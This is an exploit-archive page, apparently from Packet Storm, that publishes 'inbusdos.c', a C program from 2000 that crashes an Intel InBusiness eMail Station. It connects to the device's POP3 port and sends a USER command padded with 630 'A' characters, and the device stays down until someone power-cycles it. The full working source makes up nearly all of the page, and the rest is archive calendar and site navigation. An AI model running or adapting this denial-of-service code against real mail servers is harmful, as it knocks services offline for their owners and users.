never stop questioning

inbusdos.c

inbusdos.c
Posted Oct 27, 2000
Authored by Incubus | Site securax.org

Denial of Service attack against an Intel InBusiness eMail Station. Will send a 630 char buffer to the pop server as argument of a USER command. The little box needs to be "powered off" and -on again.

tags | exploit, denial of service
MD5 | f84758925a7c9c001c3b79d421dc7792

inbusdos.c

Change Mirror Download

/*
* intel InBusiness eMail Station DoS
*
* Errr... Denial Of Service against that little black intel box
* by incubus <incubus@securax.org>
*
* Respect: securax, hackschool, shelloracle, tessa, kim,
* glyc, splat, lamagra and steven.
*/

#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

void usage(char *proggie){
fprintf (stderr, "Intel InBusiness eMail Station Denial of Service\n");
fprintf (stderr, "do %s mail.server.com\n", proggie);
fprintf (stderr, "mail.server.com must be an InBusiness eMail Station\n\n");
exit(-1);
}

int main(int argc, char **argv){
char buf[636];
int i, sock, result;
struct sockaddr_in name;
struct hostent *hostinfo;
if (argc < 2) usage(argv[0]);
fprintf (stdout, "Intel InBusiness eMail Station Denial of Service\n");
fprintf (stdout, "by incubus <incubus@securax.org>\n\n");
hostinfo=gethostbyname(argv[1]);
if (!hostinfo){ herror("Error"); exit(-1); }
name.sin_family=AF_INET; name.sin_port=htons(110);
name.sin_addr=*(struct in_addr *)hostinfo->h_addr;
sock=socket(AF_INET, SOCK_STREAM, 0);
result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in));
if (result != 0) { herror("Oops"); exit(-1); }
if (sock < 0){ herror("Oops"); exit(-1); }
strncpy(buf, "user ", 5);
for (i=0; i<630; i++) strncat(buf, "A", 1);
send(sock, buf, sizeof(buf), 0);
close(sock);
fprintf (stdout, "Denial of Service done\n\n");
close(sock);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close